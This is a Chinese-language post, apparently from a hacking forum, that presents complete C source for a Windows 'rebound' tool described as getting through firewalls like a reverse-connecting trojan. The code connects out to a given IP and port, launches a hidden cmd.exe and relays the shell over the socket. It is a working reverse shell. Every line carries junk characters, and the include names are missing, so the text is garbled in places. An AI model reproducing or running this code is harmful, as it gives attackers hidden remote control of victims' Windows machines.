这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 yZPFo
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/* ============================== 6O|\4c;
Rebound port in Windows NT ur"e
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By wind,2006/7 (k2J{6]
===============================*/ 7<C~D,x6
#include W U4vb
#include kl{OO%jZ
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#pragma comment(lib,"wsock32.lib") v%PWr5]
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void OutputShell(); N=?kEX
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SOCKET sClient; i!+3uHWu`)
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; "ih>T^|
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void main(int argc,char **argv) Qd)cFL"v
{ $8yGY
WSADATA stWsaData; CR|&VxA
int nRet; kjKpzdbD
SOCKADDR_IN stSaiClient,stSaiServer; JgjL$n;F
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if(argc != 3) #*aGzF
{ (R|FQdH
printf("Useage:\n\rRebound DestIP DestPort\n"); ~[/c'3+4qn
return; =K<I)2
} W/F4wEODY
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WSAStartup(MAKEWORD(2,2),&stWsaData); CCvBE, ux
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Y`_X@Q
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stSaiClient.sin_family = AF_INET; <}'B-k9
stSaiClient.sin_port = htons(0); VNEZBy"F
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Ru\Lr=9
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 1AkHig,
{ YM/3VD
printf("Bind Socket Failed!\n"); rOf
return; $Aoqtz d\
} rZCAj
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stSaiServer.sin_family = AF_INET; ;7=JU^@D@
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); s{EX ;
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ua>~$`@gX
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ``)1`wx$
{ F^bQ-
printf("Connect Error!"); 6rC P]YnF
return; Tq_X8X#p
} 3 &Zx*:
OutputShell(); v^I %Wm
}
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void OutputShell() zZ0V6T}
{ Cspm\F
char szBuff[1024]; -oT+;2\2
SECURITY_ATTRIBUTES stSecurityAttributes; iwx0V
OSVERSIONINFO stOsversionInfo; F,2#;t4
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ~W2&z]xD
STARTUPINFO stStartupInfo; ?D 9#dGK
char *szShell; _N#3lU?
PROCESS_INFORMATION stProcessInformation; 8GRrf2
unsigned long lBytesRead; dC|#l?P
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); $P9$ ,w4
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 6i=wAkn_J
stSecurityAttributes.lpSecurityDescriptor = 0; pXEVI6 }
stSecurityAttributes.bInheritHandle = TRUE; ${,eQ\
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); l'8TA~
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {+mkXp])R
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); bjX$idL
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }ucg!i3C
stStartupInfo.wShowWindow = SW_HIDE; BCB/cBE
stStartupInfo.hStdInput = hReadPipe; CPE
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; `l#$l3v+
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GetVersionEx(&stOsversionInfo); +ANIm^@
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switch(stOsversionInfo.dwPlatformId) BV:,bS
{ lhODNWi
case 1: 2~'quA
szShell = "command.com"; R6.#gb8^oS
break; k~F/Ho+R&
default: g o Z#
szShell = "cmd.exe"; &y+*3,!n8
break; LA0x6E+I
} X*):N]
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 0~+:~$VrT
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send(sClient,szMsg,77,0); dK$dQR#
while(1) +:Zi(SuS]
{ _9
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ] 6B!eB
!
if(lBytesRead) \H12~=p`B
{ Y>~zt -
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); :AGQkJb
send(sClient,szBuff,lBytesRead,0); %c{)'X
} IGQ8-#=
else @h3)!#\N
{ [D\AVx&
lBytesRead=recv(sClient,szBuff,1024,0); UGgi)
if(lBytesRead<=0) break; 8~>3&jX
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); I{bi3y0
} (#`o>G(
} Rw%KEUDm
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return; Xs_y!l
}